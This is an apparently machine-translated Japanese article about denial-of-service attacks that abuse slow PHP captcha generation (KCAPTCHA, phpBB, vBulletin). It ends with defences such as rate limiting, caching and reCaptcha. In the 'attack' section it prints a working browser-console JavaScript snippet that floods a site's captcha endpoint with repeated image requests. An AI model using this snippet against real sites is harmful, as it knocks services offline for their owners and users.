危険は何ですか?
サイトに敵がいる可能性がある場合(たとえば、あなたがwww.piratepay.ruの所有者である場合 )、そのようなキャプチャを使用すると、彼らを大いに助ける危険があります。
なんで?
Captchaの生成は、特にPHP(または画像処理にあまり適していない別の言語)がこれを行うことを考慮すると、かなりリソースを消費します。
たとえば、前述のKCAPTCHAでは、画像は事前にラスタライズされたフォント(画像として保存されている)のフラグメントから収集されます。たとえば、
このようなフォントファイルがいくつかあり(標準の "配信"-22)、リクエストごとにディレクトリがスキャンされ、ファイルの1つがランダムに選択されます。
ランダムに選択された文字を結合した後、それらは歪められます。 この場合、フィルターはPHP + GD2で記述された波の歪み(波の歪み)を使用します。
for($x=0;$x<$width;$x++){ for($y=0;$y<$height;$y++){ $sx=$x+(sin($x*$rand1+$rand5)+sin($y*$rand3+$rand6))*$rand9-$width/2+$center+1; $sy=$y+(sin($x*$rand2+$rand7)+sin($y*$rand4+$rand8))*$rand10; if($sx<0 || $sy<0 || $sx>=$width-1 || $sy>=$height-1){ continue; }else{ $color=imagecolorat($img, $sx, $sy) & 0xFF; $color_x=imagecolorat($img, $sx+1, $sy) & 0xFF; $color_y=imagecolorat($img, $sx, $sy+1) & 0xFF; $color_xy=imagecolorat($img, $sx+1, $sy+1) & 0xFF; } /* ... */ imagesetpixel($img2, $x, $y, imagecolorallocate($img2, $newred, $newgreen, $newblue)); } }
つまり それはすべてかなりゆっくりと起こります。 デフォルトではキャッシングは提供されていません。 同じことが他の多くのライブラリ(「フォーラム」ライブラリを含む:phpBB、vBulletinなど)にも当てはまります。
captcha生成のリクエストが多数ある場合、サーバーはcaptchaを描画して通常のページを表示する時間がありません(特に、ほとんどの場合、さまざまな理由でサイトがCMSで動作し、キャッシュがオフになることを考慮してください)。
攻撃
最も単純なケースでは、お気に入りのブラウザーでサイトにアクセスし(リファラーが正しい場合に備えて)、javascriptデバッガーを開き、次のようなものをコンソールに書き込むだけで十分です。
cnt = document.getElementById('content'); /* id */ regen = function() { var html = ''; for (var i = 0; i < 1000; i++) { html += '<img src="http://www.somesite.com/kcaptcha/index.php?' /* */ + Math.random() + '" />'; } cnt.innerHTML = html; }; window.setInterval(regen, 10 * 1000); regen(); /* — , , */ window.setInterval('window.scrollTo(0, document.body.scrollHeight);', 500);
その結果、無数のキャプチャー(貧弱なサーバーでの生成)のマルチスレッドダウンロードを取得しました。 すべてのサーバーがそれに耐えられるわけではないことは明らかであり、多くは(自発的にチェックされたものから)HTTPエラー503サービスが利用できない状態に陥ります。
おわりに
この種の攻撃を防ぐには、いくつかの明らかな方法があります。
- reCaptchaを使用する
- 同じセッション識別子などを使用して、各IPアドレスからのキャプチャ要求の数を確認します。
- 生成されたキャプチャの特定の数をキャッシュに保持し(100、1000、...-リクエストの数に依存)、それらを高速(nginx)で提供し、定期的にキャッシュを再構築します
- 信頼できるテキストキャプチャを使用し、できればサイトの詳細を考慮してください(たとえば、sin(30°)= ...)
- あなたのオプション
PSは「フォーラム」キャプチャをまったく使用しません。 それらは非常に弱い-reCaptchaに置き換えてください。 テキストキャプチャを使用する場合は、オプションの数が十分に大きいことを確認してください。